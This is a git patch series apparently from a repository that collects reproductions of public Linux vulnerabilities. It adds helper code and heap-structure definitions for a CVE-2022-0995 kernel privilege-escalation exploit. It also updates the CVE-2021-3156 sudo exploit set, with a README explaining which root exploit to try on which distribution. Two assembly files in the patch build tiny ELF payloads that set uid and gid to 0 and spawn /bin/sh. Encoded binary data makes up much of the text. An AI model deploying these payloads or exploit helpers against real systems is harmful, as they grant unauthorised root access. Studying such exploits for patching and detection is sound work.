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 N^0F#2ptm2t{y%D3IHdpp literal 0 HcmV?d00001 diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.c b/cve/linux-kernel/2022/CVE-2022-0995/util.c new file mode 100644 index 00000000..051d36a5 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/util.c @@ -0,0 +1,32 @@ +#include "util.h" + +int32_t make_queue(key_t key, int msgflg) { + int32_t result; + if ((result = msgget(key, msgflg)) == -1) { + perror("msgget failure"); + exit(-1); + } + return result; +} + +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + ssize_t ret; + ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); + if (ret < 0) { + perror("msgrcv"); + exit(-1); + } + return ret; +} + +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); +} + +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) { + if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { + perror("msgsend failure"); + exit(-1); + } + return; +} diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.h b/cve/linux-kernel/2022/CVE-2022-0995/util.h new file mode 100644 index 00000000..b8abd9f9 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/util.h @@ -0,0 +1,52 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct { + long mtype; + char mtext[1]; +} msg; + +typedef struct { + uint64_t m_list_next; + uint64_t m_list_prev; + uint64_t m_type; + uint64_t m_ts; + uint64_t next; + uint64_t security; +} msg_msg; + +struct pipe_buffer { + uint64_t page; + uint32_t offset, len; + uint64_t ops; + uint32_t flags; + uint64_t prv; +}; + +struct pipe_buf_operations { + uint64_t confirm; + uint64_t release; + uint64_t try_steal; + uint64_t get; +}; + +int32_t make_queue(key_t key, int msgflg); +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg); \ No newline at end of file diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml new file mode 100644 index 00000000..6cbe8968 --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-0995 +source: https://github.com/Bonfee/CVE-2022-0995 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + pipe的ioctl功能IOC_WATCH_QUEUE_SET_FILTER中存在堆溢出,可造成本地提权。 + scope-of-influence: + Linux kernel <5.17-rc7 + reference: + - https://ubuntu.com/security/CVE-2022-0995 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0995 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-0995 + cwe-id: CWE-787 + cnvd-id: + kve-id: + tags: 内核越界,权限提升,cve2022 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index b545c6c0..0da73d52 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -1,3 +1,5 @@ #此收录漏洞列表为非openKylin发行版用例。 cve: + linux-kernel: + - CVE-2022-0995 cnvd: \ No newline at end of file -- Gitee From fb3ce9057a43beb20f6983fbf3c4b70d00146536 Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Tue, 25 Oct 2022 17:11:11 +0800 Subject: [PATCH 2/4] UPDATE CVE-2021-3156 --- cve/sudo/2021/CVE-2021-3156/LICENSE | 28 + cve/sudo/2021/CVE-2021-3156/Makefile | 11 - cve/sudo/2021/CVE-2021-3156/README.md | 49 +- cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm | 89 +++ cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm | 58 ++ cve/sudo/2021/CVE-2021-3156/exp.png | Bin 0 -> 31657 bytes cve/sudo/2021/CVE-2021-3156/exploit.c | 108 --- .../CVE-2021-3156/exploit_cent7_userspec.py | 193 +++++ .../CVE-2021-3156/exploit_defaults_mailer.py | 424 ++++++++++ cve/sudo/2021/CVE-2021-3156/exploit_nss.py | 261 +++++++ cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py | 102 +++ .../2021/CVE-2021-3156/exploit_nss_manual.py | 49 ++ .../2021/CVE-2021-3156/exploit_nss_u14.py | 107 +++ .../2021/CVE-2021-3156/exploit_nss_u16.py | 102 +++ .../CVE-2021-3156/exploit_timestamp_race.c | 332 ++++++++ .../2021/CVE-2021-3156/exploit_userspec.py | 736 ++++++++++++++++++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 | 79 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 | 76 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 | 63 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 | 77 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 | 77 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 | 77 ++ cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 | 77 ++ cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py | 37 + cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py | 31 + cve/sudo/2021/CVE-2021-3156/gdb/parse.py | 193 +++++ cve/sudo/2021/CVE-2021-3156/gdb/patch.py | 64 ++ .../450acf1a2f14793aafa987905b20eeba.png | Bin 103839 -> 0 bytes cve/sudo/2021/CVE-2021-3156/shellcode.c | 34 - cve/sudo/2021/yaml/CVE-2021-3156.yaml | 2 +- 30 files changed, 3362 insertions(+), 174 deletions(-) create mode 100644 cve/sudo/2021/CVE-2021-3156/LICENSE delete mode 100644 cve/sudo/2021/CVE-2021-3156/Makefile create mode 100644 cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm create mode 100644 cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm create mode 100644 cve/sudo/2021/CVE-2021-3156/exp.png delete mode 100644 cve/sudo/2021/CVE-2021-3156/exploit.c create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c create mode 100644 cve/sudo/2021/CVE-2021-3156/exploit_userspec.py create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/parse.py create mode 100644 cve/sudo/2021/CVE-2021-3156/gdb/patch.py delete mode 100644 cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png delete mode 100644 cve/sudo/2021/CVE-2021-3156/shellcode.c diff --git a/cve/sudo/2021/CVE-2021-3156/LICENSE b/cve/sudo/2021/CVE-2021-3156/LICENSE new file mode 100644 index 00000000..382d7c95 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/LICENSE @@ -0,0 +1,28 @@ +Copyright (c) 2021, Worawit Wangwarunyoo +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following disclaimer + in the documentation and/or other materials provided with the + distribution. + * Neither the name of the project nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/cve/sudo/2021/CVE-2021-3156/Makefile b/cve/sudo/2021/CVE-2021-3156/Makefile deleted file mode 100644 index c1b1fa05..00000000 --- a/cve/sudo/2021/CVE-2021-3156/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -all: shellcode exploit - -shellcode: shellcode.c - mkdir libnss_x - $(CC) -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c - -exploit: exploit.c - $(CC) -O3 -w -o exploit exploit.c - -clean: - rm -rf libnss_x exploit diff --git a/cve/sudo/2021/CVE-2021-3156/README.md b/cve/sudo/2021/CVE-2021-3156/README.md index fcd7ce96..17e5f4bd 100644 --- a/cve/sudo/2021/CVE-2021-3156/README.md +++ b/cve/sudo/2021/CVE-2021-3156/README.md @@ -1,30 +1,39 @@ -# CVE-2021-3156 +# CVE-2021-3156 (Sudo Baron Samedit) -![2021-02-10-02-18-07](images/450acf1a2f14793aafa987905b20eeba.png) +This repository is CVE-2021-3156 exploit targeting Linux x64. For writeup, please visit https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 +Credit to [Braon Samedit of Qualys for the original advisory](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt). -> This is a warehouse modification based on [@CptGibbon](https://github.com/CptGibbon/CVE-2021-3156 ) and supports arbitrary command execution. +--- -相关阅读:[CVE-2021-3156 - Exploit修改](https://payloads.online/archivers/2021-02-09/1) +### Files -#### Root shell PoC for CVE-2021-3156 (no bruteforce) +##### Exploit on glibc with tcache + * **exploit_nss.py** auto detect all requirements and number of entries in /etc/nsswitch.conf + * **exploit_nss_manual.py** simplified version of exploit_nss.py for better exploit understanding + * **exploit_timestamp_race.c** overwrite def_timestamp and race condition to modify /etc/passwd -For educational purposes etc. +##### Exploit on glibc without tcache + * **exploit_defaults_mailer.py** the exploit overwrite struct defaults to modify mailer binary path. It requires sudo compiled without disable-root-mailer such as CentOS 6 and 7. + * **exploit_userspec.py** the exploit overwrite struct userspec to bypass authentication and add a new user in /etc/passwd. Support only sudo version 1.8.9-1.8.23. + * **exploit_cent7_userspec.py** simplified version of exploit_userspec.py for understanding but target only CentOS 7 with default configuration + * **exploit_nss_d9.py** overwrite struct service_user on Debian 9 but support only default /etc/nsswith.conf + * **exploit_nss_u16.py** overwrite struct service_user on Ubuntu 16.04 but support only default /etc/nsswith.conf + * **exploit_nss_u14.py** overwrite struct service_user on Ubuntu 14.04 but support only default /etc/nsswith.conf -Tested on : +##### Others + * **asm/** tinyelf library and executable for embedded in python exploit + * **gdb/** scripts that used for debugging sudo heap -- @CptGibbon Ubuntu 20.04 against sudo 1.8.31 -- @Rvn0xsy Ubuntu 17.10 +--- -All research credit: **Qualys Research Team** -Check out the details on their [blog](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit). +### Choosing exploit +*For Linux distributions that glibc has tcache support and enabled (CentOS 8, Ubuntu >= 17.10, Debian 10):* + * try **exploit_nss.py** first + * If an error is not glibc tcache related, you can try **exploit_timestamp_race.c** next -You can check your version of sudo is vulnerable with: `$ sudoedit -s Y`. -If it asks for your password it's most likely vulnerable, if it prints usage information it isn't. -You can downgrade to the vulnerable version on Ubuntu 20.04 for testing purposes with `$ sudo apt install sudo=1.8.31-1ubuntu1` - -#### Usage - -`$ make` - -`$ ./exploit "Command"` +*For Linux distribution that glibc has no tcache support:* + * if a target is Debian 9, Ubuntu 16.04, or Ubuntu 14.04, try **exploit_nss_xxx.py** for specific version first + * next, try **exploit_defaults_mailer.py**. If you know a target sudo is compiled with *--disable-root-mailer*, you can skip this exploit. The exploit attempt to check root mailer flag from sudo binary. But sudo permission on some Linux distribution is 4711 (-rws--x--x) which is impossible to check on target system. (Known work OS is CentOS 6 and 7) + * last, try **exploit_userspec.py** +![](exp.png) \ No newline at end of file diff --git a/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm b/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm new file mode 100644 index 00000000..ad277180 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm @@ -0,0 +1,89 @@ +; nasm -f bin -o tinylib tinylib.asm +BITS 64 + org 0 + +ehdr: ; Elf64_Ehdr + db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident + times 8 db 0 + dw 3 ; e_type + dw 0x3e ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw 0x38 ; e_phentsize + dw 2 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + ehdrsize equ $ - ehdr + +phdr: ; Elf64_Phdr + ; LOAD + dd 1 ; p_type + dd 7 ; p_flags RWE + dq 0 ; p_offset + dq 0 ; p_vaddr + dq 0 ; p_paddr + dq filesize ; p_filesz + dq filesize ; p_memsz + dq 0x1000 ; p_align + ; DYNAMIC + dd 2 + dd 7 ; RWE + dq dynamic + dq dynamic + dq dynamic + dq dynsize + dq dynsize + dq 0x8 + +dynamic: + ; DT_INIT + dq 12 + dq _start + ; DT_STRTAB + dq 5 + dq 0 + ; DT_SYMTAB + dq 6 + dq 0 + ; DT_STRSZ + dq 0xa + dq 0 + ; DT_SYMENT + dq 0xb + dq 0 + ; DT_NULL (ending) + dq 0 + dq 0 +dynsize equ $ - dynamic + + +_start: + ; setuid(0) + push 105 + pop rax + xor edi, edi + syscall + + ; setgid(0) + push 106 + pop rax + ;xor edi, edi ; edi is still 0 + syscall + + ; ececve("/bin/sh", 0, 0) + xor esi, esi + mov rax, 0x0068732f6e69622f ; '/bin/sh\0' + push rax + push rsp + pop rdi + push 59 + pop rax + cdq + syscall + +filesize equ $ - $$ diff --git a/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm b/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm new file mode 100644 index 00000000..e84e5fa7 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm @@ -0,0 +1,58 @@ +; nasm -f bin -o tinysh tinysh.asm +BITS 64 + org 0x400000 + +ehdr: ; Elf64_Ehdr + db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident + times 8 db 0 + dw 2 ; e_type + dw 0x3e ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw 0x38 ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + ehdrsize equ $ - ehdr + +phdr: ; Elf64_Phdr + dd 1 ; p_type + dd 5 ; p_flags + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq filesize ; p_filesz + dq filesize ; p_memsz + dq 0x1000 ; p_align + + +_start: + ; setuid(0) + push 105 + pop rax + ;xor edi, edi + syscall + + ; setgid(0) + push 106 + pop rax + ;xor edi, edi ; edi is still 0 + syscall + + ; ececve("/bin/sh", 0, 0) + ;xor esi, esi + mov rax, 0x0068732f6e69622f ; '/bin/sh\0' + push rax + push rsp + pop rdi + push 59 + pop rax + cdq + syscall + +filesize equ $ - $$ diff --git a/cve/sudo/2021/CVE-2021-3156/exp.png b/cve/sudo/2021/CVE-2021-3156/exp.png new file mode 100644 index 0000000000000000000000000000000000000000..a094917a6a90a947140110cffd31bb134f357738 GIT binary patch literal 31657 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 